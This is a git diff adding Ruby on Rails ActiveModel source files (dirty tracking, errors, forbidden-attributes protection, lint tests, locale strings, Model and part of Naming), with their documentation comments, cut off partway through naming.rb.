--- /dev/null
+++ b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
@@ -0,0 +1,21 @@
+module ActiveModel
+ module DeprecatedMassAssignmentSecurity # :nodoc:
+ extend ActiveSupport::Concern
+
+ module ClassMethods # :nodoc:
+ def attr_protected(*args)
+ raise "`attr_protected` is extracted out of Rails into a gem. " \
+ "Please use new recommended protection model for params" \
+ "(strong_parameters) or add `protected_attributes` to your " \
+ "Gemfile to use old one."
+ end
+
+ def attr_accessible(*args)
+ raise "`attr_accessible` is extracted out of Rails into a gem. " \
+ "Please use new recommended protection model for params" \
+ "(strong_parameters) or add `protected_attributes` to your " \
+ "Gemfile to use old one."
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
new file mode 100644
index 0000000..789bdd7
--- /dev/null
+++ b/activemodel/lib/active_model/dirty.rb
@@ -0,0 +1,183 @@
+require 'active_support/hash_with_indifferent_access'
+require 'active_support/core_ext/object/duplicable'
+
+module ActiveModel
+ # == Active \Model \Dirty
+ #
+ # Provides a way to track changes in your object in the same way as
+ # Active Record does.
+ #
+ # The requirements for implementing ActiveModel::Dirty are:
+ #
+ # * <tt>include ActiveModel::Dirty</tt> in your object.
+ # * Call <tt>define_attribute_methods</tt> passing each method you want to
+ # track.
+ # * Call <tt>attr_name_will_change!</tt> before each change to the tracked
+ # attribute.
+ #
+ # If you wish to also track previous changes on save or update, you need to
+ # add:
+ #
+ # @previously_changed = changes
+ #
+ # inside of your save or update method.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::Dirty
+ #
+ # define_attribute_methods :name
+ #
+ # def name
+ # @name
+ # end
+ #
+ # def name=(val)
+ # name_will_change! unless val == @name
+ # @name = val
+ # end
+ #
+ # def save
+ # @previously_changed = changes
+ # @changed_attributes.clear
+ # end
+ # end
+ #
+ # A newly instantiated object is unchanged:
+ #
+ # person = Person.find_by(name: 'Uncle Bob')
+ # person.changed? # => false
+ #
+ # Change the name:
+ #
+ # person.name = 'Bob'
+ # person.changed? # => true
+ # person.name_changed? # => true
+ # person.name_was # => "Uncle Bob"
+ # person.name_change # => ["Uncle Bob", "Bob"]
+ # person.name = 'Bill'
+ # person.name_change # => ["Uncle Bob", "Bill"]
+ #
+ # Save the changes:
+ #
+ # person.save
+ # person.changed? # => false
+ # person.name_changed? # => false
+ #
+ # Assigning the same value leaves the attribute unchanged:
+ #
+ # person.name = 'Bill'
+ # person.name_changed? # => false
+ # person.name_change # => nil
+ #
+ # Which attributes have changed?
+ #
+ # person.name = 'Bob'
+ # person.changed # => ["name"]
+ # person.changes # => {"name" => ["Bill", "Bob"]}
+ #
+ # If an attribute is modified in-place then make use of <tt>[attribute_name]_will_change!</tt>
+ # to mark that the attribute is changing. Otherwise ActiveModel can't track
+ # changes to in-place attributes.
+ #
+ # person.name_will_change!
+ # person.name_change # => ["Bill", "Bill"]
+ # person.name << 'y'
+ # person.name_change # => ["Bill", "Billy"]
+ module Dirty
+ extend ActiveSupport::Concern
+ include ActiveModel::AttributeMethods
+
+ included do
+ attribute_method_suffix '_changed?', '_change', '_will_change!', '_was'
+ attribute_method_affix :prefix => 'reset_', :suffix => '!'
+ end
+
+ # Returns +true+ if any attribute have unsaved changes, +false+ otherwise.
+ #
+ # person.changed? # => false
+ # person.name = 'bob'
+ # person.changed? # => true
+ def changed?
+ changed_attributes.present?
+ end
+
+ # Returns an array with the name of the attributes with unsaved changes.
+ #
+ # person.changed # => []
+ # person.name = 'bob'
+ # person.changed # => ["name"]
+ def changed
+ changed_attributes.keys
+ end
+
+ # Returns a hash of changed attributes indicating their original
+ # and new values like <tt>attr => [original value, new value]</tt>.
+ #
+ # person.changes # => {}
+ # person.name = 'bob'
+ # person.changes # => { "name" => ["bill", "bob"] }
+ def changes
+ ActiveSupport::HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
+ end
+
+ # Returns a hash of attributes that were changed before the model was saved.
+ #
+ # person.name # => "bob"
+ # person.name = 'robert'
+ # person.save
+ # person.previous_changes # => {"name" => ["bob", "robert"]}
+ def previous_changes
+ @previously_changed
+ end
+
+ # Returns a hash of the attributes with unsaved changes indicating their original
+ # values like <tt>attr => original value</tt>.
+ #
+ # person.name # => "bob"
+ # person.name = 'robert'
+ # person.changed_attributes # => {"name" => "bob"}
+ def changed_attributes
+ @changed_attributes ||= {}
+ end
+
+ private
+
+ # Handle <tt>*_changed?</tt> for +method_missing+.
+ def attribute_changed?(attr)
+ changed_attributes.include?(attr)
+ end
+
+ # Handle <tt>*_change</tt> for +method_missing+.
+ def attribute_change(attr)
+ [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
+ end
+
+ # Handle <tt>*_was</tt> for +method_missing+.
+ def attribute_was(attr)
+ attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
+ end
+
+ # Handle <tt>*_will_change!</tt> for +method_missing+.
+ def attribute_will_change!(attr)
+ return if attribute_changed?(attr)
+
+ begin
+ value = __send__(attr)
+ value = value.duplicable? ? value.clone : value
+ rescue TypeError, NoMethodError
+ end
+
+ changed_attributes[attr] = value
+ end
+
+ # Handle <tt>reset_*!</tt> for +method_missing+.
+ def reset_attribute!(attr)
+ if attribute_changed?(attr)
+ __send__("#{attr}=", changed_attributes[attr])
+ changed_attributes.delete(attr)
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
new file mode 100644
index 0000000..b60458b
--- /dev/null
+++ b/activemodel/lib/active_model/errors.rb
@@ -0,0 +1,470 @@
+# -*- coding: utf-8 -*-
+
+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveModel
+ # == Active \Model \Errors
+ #
+ # Provides a modified +Hash+ that you can include in your object
+ # for handling error messages and interacting with Action Pack helpers.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # # Required dependency for ActiveModel::Errors
+ # extend ActiveModel::Naming
+ #
+ # def initialize
+ # @errors = ActiveModel::Errors.new(self)
+ # end
+ #
+ # attr_accessor :name
+ # attr_reader :errors
+ #
+ # def validate!
+ # errors.add(:name, "can not be nil") if name == nil
+ # end
+ #
+ # # The following methods are needed to be minimally implemented
+ #
+ # def read_attribute_for_validation(attr)
+ # send(attr)
+ # end
+ #
+ # def Person.human_attribute_name(attr, options = {})
+ # attr
+ # end
+ #
+ # def Person.lookup_ancestors
+ # [self]
+ # end
+ # end
+ #
+ # The last three methods are required in your object for Errors to be
+ # able to generate error messages correctly and also handle multiple
+ # languages. Of course, if you extend your object with ActiveModel::Translation
+ # you will not need to implement the last two. Likewise, using
+ # ActiveModel::Validations will handle the validation related methods
+ # for you.
+ #
+ # The above allows you to do:
+ #
+ # p = Person.new
+ # person.validate! # => ["can not be nil"]
+ # person.errors.full_messages # => ["name can not be nil"]
+ # # etc..
+ class Errors
+ include Enumerable
+
+ CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
+
+ attr_reader :messages
+
+ # Pass in the instance of the object that is using the errors object.
+ #
+ # class Person
+ # def initialize
+ # @errors = ActiveModel::Errors.new(self)
+ # end
+ # end
+ def initialize(base)
+ @base = base
+ @messages = {}
+ end
+
+ def initialize_dup(other) # :nodoc:
+ @messages = other.messages.dup
+ super
+ end
+
+ # Clear the error messages.
+ #
+ # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.clear
+ # person.errors.full_messages # => []
+ def clear
+ messages.clear
+ end
+
+ # Returns +true+ if the error messages include an error for the given key
+ # +attribute+, +false+ otherwise.
+ #
+ # person.errors.messages # => {:name=>["can not be nil"]}
+ # person.errors.include?(:name) # => true
+ # person.errors.include?(:age) # => false
+ def include?(attribute)
+ (v = messages[attribute]) && v.any?
+ end
+ # aliases include?
+ alias :has_key? :include?
+
+ # Get messages for +key+.
+ #
+ # person.errors.messages # => {:name=>["can not be nil"]}
+ # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.get(:age) # => nil
+ def get(key)
+ messages[key]
+ end
+
+ # Set messages for +key+ to +value+.
+ #
+ # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.set(:name, ["can't be nil"])
+ # person.errors.get(:name) # => ["can't be nil"]
+ def set(key, value)
+ messages[key] = value
+ end
+
+ # Delete messages for +key+. Returns the deleted messages.
+ #
+ # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.delete(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => nil
+ def delete(key)
+ messages.delete(key)
+ end
+
+ # When passed a symbol or a name of a method, returns an array of errors
+ # for the method.
+ #
+ # person.errors[:name] # => ["can not be nil"]
+ # person.errors['name'] # => ["can not be nil"]
+ def [](attribute)
+ get(attribute.to_sym) || set(attribute.to_sym, [])
+ end
+
+ # Adds to the supplied attribute the supplied error message.
+ #
+ # person.errors[:name] = "must be set"
+ # person.errors[:name] # => ['must be set']
+ def []=(attribute, error)
+ self[attribute] << error
+ end
+
+ # Iterates through each error key, value pair in the error messages hash.
+ # Yields the attribute and the error for that attribute. If the attribute
+ # has more than one error message, yields once for each error message.
+ #
+ # person.errors.add(:name, "can't be blank")
+ # person.errors.each do |attribute, error|
+ # # Will yield :name and "can't be blank"
+ # end
+ #
+ # person.errors.add(:name, "must be specified")
+ # person.errors.each do |attribute, error|
+ # # Will yield :name and "can't be blank"
+ # # then yield :name and "must be specified"
+ # end
+ def each
+ messages.each_key do |attribute|
+ self[attribute].each { |error| yield attribute, error }
+ end
+ end
+
+ # Returns the number of error messages.
+ #
+ # person.errors.add(:name, "can't be blank")
+ # person.errors.size # => 1
+ # person.errors.add(:name, "must be specified")
+ # person.errors.size # => 2
+ def size
+ values.flatten.size
+ end
+
+ # Returns all message values.
+ #
+ # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+ # person.errors.values # => [["can not be nil", "must be specified"]]
+ def values
+ messages.values
+ end
+
+ # Returns all message keys.
+ #
+ # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+ # person.errors.keys # => [:name]
+ def keys
+ messages.keys
+ end
+
+ # Returns an array of error messages, with the attribute name included.
+ #
+ # person.errors.add(:name, "can't be blank")
+ # person.errors.add(:name, "must be specified")
+ # person.errors.to_a # => ["name can't be blank", "name must be specified"]
+ def to_a
+ full_messages
+ end
+
+ # Returns the number of error messages.
+ #
+ # person.errors.add(:name, "can't be blank")
+ # person.errors.count # => 1
+ # person.errors.add(:name, "must be specified")
+ # person.errors.count # => 2
+ def count
+ to_a.size
+ end
+
+ # Returns +true+ if no errors are found, +false+ otherwise.
+ # If the error message is a string it can be empty.
+ #
+ # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.empty? # => false
+ def empty?
+ all? { |k, v| v && v.empty? && !v.is_a?(String) }
+ end
+ # aliases empty?
+ alias_method :blank?, :empty?
+
+ # Returns an xml formatted representation of the Errors hash.
+ #
+ # person.errors.add(:name, "can't be blank")
+ # person.errors.add(:name, "must be specified")
+ # person.errors.to_xml
+ # # =>
+ # # <?xml version=\"1.0\" encoding=\"UTF-8\"?>
+ # # <errors>
+ # # <error>name can't be blank</error>
+ # # <error>name must be specified</error>
+ # # </errors>
+ def to_xml(options={})
+ to_a.to_xml({ :root => "errors", :skip_types => true }.merge!(options))
+ end
+
+ # Returns a Hash that can be used as the JSON representation for this
+ # object. You can pass the <tt>:full_messages</tt> option. This determines
+ # if the json object should contain full messages or not (false by default).
+ #
+ # person.as_json # => {:name=>["can not be nil"]}
+ # person.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+ def as_json(options=nil)
+ to_hash(options && options[:full_messages])
+ end
+
+ # Returns a Hash of attributes with their error messages. If +full_messages+
+ # is +true+, it will contain full messages (see +full_message+).
+ #
+ # person.to_hash # => {:name=>["can not be nil"]}
+ # person.to_hash(true) # => {:name=>["name can not be nil"]}
+ def to_hash(full_messages = false)
+ if full_messages
+ messages = {}
+ self.messages.each do |attribute, array|
+ messages[attribute] = array.map { |message| full_message(attribute, message) }
+ end
+ messages
+ else
+ self.messages.dup
+ end
+ end
+
+ # Adds +message+ to the error messages on +attribute+. More than one error
+ # can be added to the same +attribute+. If no +message+ is supplied,
+ # <tt>:invalid</tt> is assumed.
+ #
+ # person.errors.add(:name)
+ # # => ["is invalid"]
+ # person.errors.add(:name, 'must be implemented')
+ # # => ["is invalid", "must be implemented"]
+ #
+ # person.errors.messages
+ # # => {:name=>["must be implemented", "is invalid"]}
+ #
+ # If +message+ is a symbol, it will be translated using the appropriate
+ # scope (see +generate_message+).
+ #
+ # If +message+ is a proc, it will be called, allowing for things like
+ # <tt>Time.now</tt> to be used within an error.
+ #
+ # If the <tt>:strict</tt> option is set to true will raise
+ # ActiveModel::StrictValidationFailed instead of adding the error.
+ # <tt>:strict</tt> option can also be set to any other exception.
+ #
+ # person.errors.add(:name, nil, strict: true)
+ # # => ActiveModel::StrictValidationFailed: name is invalid
+ # person.errors.add(:name, nil, strict: NameIsInvalid)
+ # # => NameIsInvalid: name is invalid
+ #
+ # person.errors.messages # => {}
+ def add(attribute, message = nil, options = {})
+ message = normalize_message(attribute, message, options)
+ if exception = options[:strict]
+ exception = ActiveModel::StrictValidationFailed if exception == true
+ raise exception, full_message(attribute, message)
+ end
+
+ self[attribute] << message
+ end
+
+ # Will add an error message to each of the attributes in +attributes+
+ # that is empty.
+ #
+ # person.errors.add_on_empty(:name)
+ # person.errors.messages
+ # # => {:name=>["can't be empty"]}
+ def add_on_empty(attributes, options = {})
+ Array(attributes).each do |attribute|
+ value = @base.send(:read_attribute_for_validation, attribute)
+ is_empty = value.respond_to?(:empty?) ? value.empty? : false
+ add(attribute, :empty, options) if value.nil? || is_empty
+ end
+ end
+
+ # Will add an error message to each of the attributes in +attributes+ that
+ # is blank (using Object#blank?).
+ #
+ # person.errors.add_on_blank(:name)
+ # person.errors.messages
+ # # => {:name=>["can't be blank"]}
+ def add_on_blank(attributes, options = {})
+ Array(attributes).each do |attribute|
+ value = @base.send(:read_attribute_for_validation, attribute)
+ add(attribute, :blank, options) if value.blank?
+ end
+ end
+
+ # Returns +true+ if an error on the attribute with the given message is
+ # present, +false+ otherwise. +message+ is treated the same as for +add+.
+ #
+ # person.errors.add :name, :blank
+ # person.errors.added? :name, :blank # => true
+ def added?(attribute, message = nil, options = {})
+ message = normalize_message(attribute, message, options)
+ self[attribute].include? message
+ end
+
+ # Returns all the full error messages in an array.
+ #
+ # class Person
+ # validates_presence_of :name, :address, :email
+ # validates_length_of :name, in: 5..30
+ # end
+ #
+ # person = Person.create(address: '123 First St.')
+ # person.errors.full_messages
+ # # => ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
+ def full_messages
+ map { |attribute, message| full_message(attribute, message) }
+ end
+
+ # Returns all the full error messages for a given attribute in an array.
+ #
+ # class Person
+ # validates_presence_of :name, :email
+ # validates_length_of :name, in: 5..30
+ # end
+ #
+ # person = Person.create()
+ # person.errors.full_messages_for(:name)
+ # # => ["Name is too short (minimum is 5 characters)", "Name can't be blank"]
+ def full_messages_for(attribute)
+ (get(attribute) || []).map { |message| full_message(attribute, message) }
+ end
+
+ # Returns a full message for a given attribute.
+ #
+ # person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
+ def full_message(attribute, message)
+ return message if attribute == :base
+ attr_name = attribute.to_s.tr('.', '_').humanize
+ attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
+ I18n.t(:"errors.format", {
+ :default => "%{attribute} %{message}",
+ :attribute => attr_name,
+ :message => message
+ })
+ end
+
+ # Translates an error message in its default scope
+ # (<tt>activemodel.errors.messages</tt>).
+ #
+ # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>,
+ # if it's not there, it's looked up in <tt>models.MODEL.MESSAGE</tt> and if
+ # that is not there also, it returns the translation of the default message
+ # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model
+ # name, translated attribute name and the value are available for
+ # interpolation.
+ #
+ # When using inheritance in your models, it will check all the inherited
+ # models too, but only if the model itself hasn't been found. Say you have
+ # <tt>class Admin < User; end</tt> and you wanted the translation for
+ # the <tt>:blank</tt> error message for the <tt>title</tt> attribute,
+ # it looks for these translations:
+ #
+ # * <tt>activemodel.errors.models.admin.attributes.title.blank</tt>
+ # * <tt>activemodel.errors.models.admin.blank</tt>
+ # * <tt>activemodel.errors.models.user.attributes.title.blank</tt>
+ # * <tt>activemodel.errors.models.user.blank</tt>
+ # * any default you provided through the +options+ hash (in the <tt>activemodel.errors</tt> scope)
+ # * <tt>activemodel.errors.messages.blank</tt>
+ # * <tt>errors.attributes.title.blank</tt>
+ # * <tt>errors.messages.blank</tt>
+ def generate_message(attribute, type = :invalid, options = {})
+ type = options.delete(:message) if options[:message].is_a?(Symbol)
+
+ if @base.class.respond_to?(:i18n_scope)
+ defaults = @base.class.lookup_ancestors.map do |klass|
+ [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
+ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
+ end
+ else
+ defaults = []
+ end
+
+ defaults << options.delete(:message)
+ defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope)
+ defaults << :"errors.attributes.#{attribute}.#{type}"
+ defaults << :"errors.messages.#{type}"
+
+ defaults.compact!
+ defaults.flatten!
+
+ key = defaults.shift
+ value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil)
+
+ options = {
+ :default => defaults,
+ :model => @base.class.model_name.human,
+ :attribute => @base.class.human_attribute_name(attribute),
+ :value => value
+ }.merge!(options)
+
+ I18n.translate(key, options)
+ end
+
+ private
+ def normalize_message(attribute, message, options)
+ message ||= :invalid
+
+ case message
+ when Symbol
+ generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
+ when Proc
+ message.call
+ else
+ message
+ end
+ end
+ end
+
+ # Raised when a validation cannot be corrected by end users and are considered
+ # exceptional.
+ #
+ # class Person
+ # include ActiveModel::Validations
+ #
+ # attr_accessor :name
+ #
+ # validates_presence_of :name, strict: true
+ # end
+ #
+ # person = Person.new
+ # person.name = nil
+ # person.valid?
+ # # => ActiveModel::StrictValidationFailed: Name can't be blank
+ class StrictValidationFailed < StandardError
+ end
+end
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
new file mode 100644
index 0000000..7468f95
--- /dev/null
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -0,0 +1,27 @@
+module ActiveModel
+ # Raised when forbidden attributes are used for mass assignment.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Bob')
+ # Person.new(params)
+ # # => ActiveModel::ForbiddenAttributesError
+ #
+ # params.permit!
+ # Person.new(params)
+ # # => #<Person id: nil, name: "Bob">
+ class ForbiddenAttributesError < StandardError
+ end
+
+ module ForbiddenAttributesProtection # :nodoc:
+ protected
+ def sanitize_for_mass_assignment(attributes)
+ if attributes.respond_to?(:permitted?) && !attributes.permitted?
+ raise ActiveModel::ForbiddenAttributesError
+ else
+ attributes
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
new file mode 100644
index 0000000..1be2913
--- /dev/null
+++ b/activemodel/lib/active_model/lint.rb
@@ -0,0 +1,110 @@
+module ActiveModel
+ module Lint
+ # == Active \Model \Lint \Tests
+ #
+ # You can test whether an object is compliant with the Active \Model API by
+ # including <tt>ActiveModel::Lint::Tests</tt> in your TestCase. It will
+ # include tests that tell you whether your object is fully compliant,
+ # or if not, which aspects of the API are not implemented.
+ #
+ # Note an object is not required to implement all APIs in order to work
+ # with Action Pack. This module only intends to provide guidance in case
+ # you want all features out of the box.
+ #
+ # These tests do not attempt to determine the semantic correctness of the
+ # returned values. For instance, you could implement <tt>valid?</tt> to
+ # always return true, and the tests would pass. It is up to you to ensure
+ # that the values are semantically meaningful.
+ #
+ # Objects you pass in are expected to return a compliant object from a call
+ # to <tt>to_model</tt>. It is perfectly fine for <tt>to_model</tt> to return
+ # +self+.
+ module Tests
+
+ # == Responds to <tt>to_key</tt>
+ #
+ # Returns an Enumerable of all (primary) key attributes
+ # or nil if <tt>model.persisted?</tt> is false. This is used by
+ # <tt>dom_id</tt> to generate unique ids for the object.
+ def test_to_key
+ assert model.respond_to?(:to_key), "The model should respond to to_key"
+ def model.persisted?() false end
+ assert model.to_key.nil?, "to_key should return nil when `persisted?` returns false"
+ end
+
+ # == Responds to <tt>to_param</tt>
+ #
+ # Returns a string representing the object's key suitable for use in URLs
+ # or +nil+ if <tt>model.persisted?</tt> is +false+.
+ #
+ # Implementers can decide to either raise an exception or provide a
+ # default in case the record uses a composite primary key. There are no
+ # tests for this behavior in lint because it doesn't make sense to force
+ # any of the possible implementation strategies on the implementer.
+ # However, if the resource is not persisted?, then <tt>to_param</tt>
+ # should always return +nil+.
+ def test_to_param
+ assert model.respond_to?(:to_param), "The model should respond to to_param"
+ def model.to_key() [1] end
+ def model.persisted?() false end
+ assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
+ end
+
+ # == Responds to <tt>to_partial_path</tt>
+ #
+ # Returns a string giving a relative path. This is used for looking up
+ # partials. For example, a BlogPost model might return "blog_posts/blog_post"
+ def test_to_partial_path
+ assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
+ assert_kind_of String, model.to_partial_path
+ end
+
+ # == Responds to <tt>persisted?</tt>
+ #
+ # Returns a boolean that specifies whether the object has been persisted
+ # yet. This is used when calculating the URL for an object. If the object
+ # is not persisted, a form for that object, for instance, will route to
+ # the create action. If it is persisted, a form for the object will routes
+ # to the update action.
+ def test_persisted?
+ assert model.respond_to?(:persisted?), "The model should respond to persisted?"
+ assert_boolean model.persisted?, "persisted?"
+ end
+
+ # == \Naming
+ #
+ # Model.model_name must return a string with some convenience methods:
+ # <tt>:human</tt>, <tt>:singular</tt> and <tt>:plural</tt>. Check
+ # ActiveModel::Naming for more information.
+ def test_model_naming
+ assert model.class.respond_to?(:model_name), "The model should respond to model_name"
+ model_name = model.class.model_name
+ assert model_name.respond_to?(:to_str)
+ assert model_name.human.respond_to?(:to_str)
+ assert model_name.singular.respond_to?(:to_str)
+ assert model_name.plural.respond_to?(:to_str)
+ end
+
+ # == \Errors Testing
+ #
+ # Returns an object that implements [](attribute) defined which returns an
+ # Array of Strings that are the errors for the attribute in question.
+ # If localization is used, the Strings should be localized for the current
+ # locale. If no error is present, this method should return an empty Array.
+ def test_errors_aref
+ assert model.respond_to?(:errors), "The model should respond to errors"
+ assert model.errors[:hello].is_a?(Array), "errors#[] should return an Array"
+ end
+
+ private
+ def model
+ assert @model.respond_to?(:to_model), "The object should respond_to to_model"
+ @model.to_model
+ end
+
+ def assert_boolean(result, name)
+ assert result == true || result == false, "#{name} should be a boolean"
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
new file mode 100644
index 0000000..540e813
--- /dev/null
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -0,0 +1,29 @@
+en:
+ errors:
+ # The default format to use in full error messages.
+ format: "%{attribute} %{message}"
+
+ # The values :model, :attribute and :value are always available for interpolation
+ # The value :count is available when applicable. Can be used for pluralization.
+ messages:
+ inclusion: "is not included in the list"
+ exclusion: "is reserved"
+ invalid: "is invalid"
+ confirmation: "doesn't match %{attribute}"
+ accepted: "must be accepted"
+ empty: "can't be empty"
+ blank: "can't be blank"
+ present: "must be blank"
+ too_long: "is too long (maximum is %{count} characters)"
+ too_short: "is too short (minimum is %{count} characters)"
+ wrong_length: "is the wrong length (should be %{count} characters)"
+ not_a_number: "is not a number"
+ not_an_integer: "must be an integer"
+ greater_than: "must be greater than %{count}"
+ greater_than_or_equal_to: "must be greater than or equal to %{count}"
+ equal_to: "must be equal to %{count}"
+ less_than: "must be less than %{count}"
+ less_than_or_equal_to: "must be less than or equal to %{count}"
+ other_than: "must be other than %{count}"
+ odd: "must be odd"
+ even: "must be even"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
new file mode 100644
index 0000000..62383a0
--- /dev/null
+++ b/activemodel/lib/active_model/model.rb
@@ -0,0 +1,97 @@
+module ActiveModel
+
+ # == Active \Model Basic \Model
+ #
+ # Includes the required interface for an object to interact with
+ # <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
+ # It includes model name introspections, conversions, translations and
+ # validations. Besides that, it allows you to initialize the object with a
+ # hash of attributes, pretty much like <tt>ActiveRecord</tt> does.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :name, :age
+ # end
+ #
+ # person = Person.new(name: 'bob', age: '18')
+ # person.name # => 'bob'
+ # person.age # => 18
+ #
+ # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
+ # to return +false+, which is the most common case. You may want to override
+ # it in your class to simulate a different scenario:
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :id, :name
+ #
+ # def persisted?
+ # self.id == 1
+ # end
+ # end
+ #
+ # person = Person.new(id: 1, name: 'bob')
+ # person.persisted? # => true
+ #
+ # Also, if for some reason you need to run code on <tt>initialize</tt>, make
+ # sure you call +super+ if you want the attributes hash initialization to
+ # happen.
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :id, :name, :omg
+ #
+ # def initialize(attributes={})
+ # super
+ # @omg ||= true
+ # end
+ # end
+ #
+ # person = Person.new(id: 1, name: 'bob')
+ # person.omg # => true
+ #
+ # For more detailed information on other functionalities available, please
+ # refer to the specific modules included in <tt>ActiveModel::Model</tt>
+ # (see below).
+ module Model
+ def self.included(base) #:nodoc:
+ base.class_eval do
+ extend ActiveModel::Naming
+ extend ActiveModel::Translation
+ include ActiveModel::Validations
+ include ActiveModel::Conversion
+ end
+ end
+
+ # Initializes a new model with the given +params+.
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :name, :age
+ # end
+ #
+ # person = Person.new(name: 'bob', age: '18')
+ # person.name # => "bob"
+ # person.age # => 18
+ def initialize(params={})
+ params.each do |attr, value|
+ self.public_send("#{attr}=", value)
+ end if params
+ end
+
+ # Indicates if the model is persisted. Default is +false+.
+ #
+ # class Person
+ # include ActiveModel::Model
+ # attr_accessor :id, :name
+ # end
+ #
+ # person = Person.new(id: 1, name: 'bob')
+ # person.persisted? # => false
+ def persisted?
+ false
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
new file mode 100644
index 0000000..6887f6d
--- /dev/null
+++ b/activemodel/lib/active_model/naming.rb
@@ -0,0 +1,311 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/module/introspection'
+
+module ActiveModel
+ class Name
+ include Comparable
+
+ attr_reader :singular, :plural, :element, :collection,
+ :singular_route_key, :route_key, :param_key, :i18n_key,
+ :name
+
+ alias_method :cache_key, :collection
+
+ ##
+ # :method: ==
+ #
+ # :call-seq:
+ # ==(other)
+ #
+ # Equivalent to <tt>String#==</tt>. Returns +true+ if the class name and
+ # +other+ are equal, otherwise +false+.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name == 'BlogPost' # => true
+ # BlogPost.model_name == 'Blog Post' # => false
+
+ ##
+ # :method: ===
+ #
+ # :call-seq:
+ # ===(other)
+ #
+ # Equivalent to <tt>#==</tt>.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name === 'BlogPost' # => true
+ # BlogPost.model_name === 'Blog Post' # => false
+
+ ##
+ # :method: <=>
+ #
+ # :call-seq:
+ # ==(other)
+ #
+ # Equivalent to <tt>String#<=></tt>.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name <=> 'BlogPost' # => 0
+ # BlogPost.model_name <=> 'Blog' # => 1
+ # BlogPost.model_name <=> 'BlogPosts' # => -1
+
+ ##
+ # :method: =~
+ #
+ # :call-seq:
+ # =~(regexp)
+ #
+ # Equivalent to <tt>String#=~</tt>. Match the class name against the given
+ # regexp. Returns the position where the match starts or +nil+ if there is
+ # no match.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name =~ /Post/ # => 4
+ # BlogPost.model_name =~ /\d/ # => nil
+
+ ##
+ # :method: !~
+ #
+ # :call-seq:
+ # !~(regexp)
+ #
+ # Equivalent to <tt>String#!~</tt>. Match the class name against the given
+ # regexp. Returns +true+ if there is no match, otherwise +false+.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name !~ /Post/ # => false
+ # BlogPost.model_name !~ /\d/ # => true
+
+ ##
+ # :method: eql?
+ #
+ # :call-seq:
+ # eql?(other)
+ #
+ # Equivalent to <tt>String#eql?</tt>. Returns +true+ if the class name and
+ # +other+ have the same length and content, otherwise +false+.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name.eql?('BlogPost') # => true
+ # BlogPost.model_name.eql?('Blog Post') # => false
+
+ ##
+ # :method: to_s
+ #
+ # :call-seq:
+ # to_s()
+ #
+ # Returns the class name.
+ #
+ # class BlogPost
+ # extend ActiveModel::Naming
+ # end
+ #
+ # BlogPost.model_name.to_s # => "BlogPost"
+
+ ##
+ # :method: to_str
+ #
+ # :call-seq:
+ # to_str()
+ #
+ # Equivalent to +to_s+.
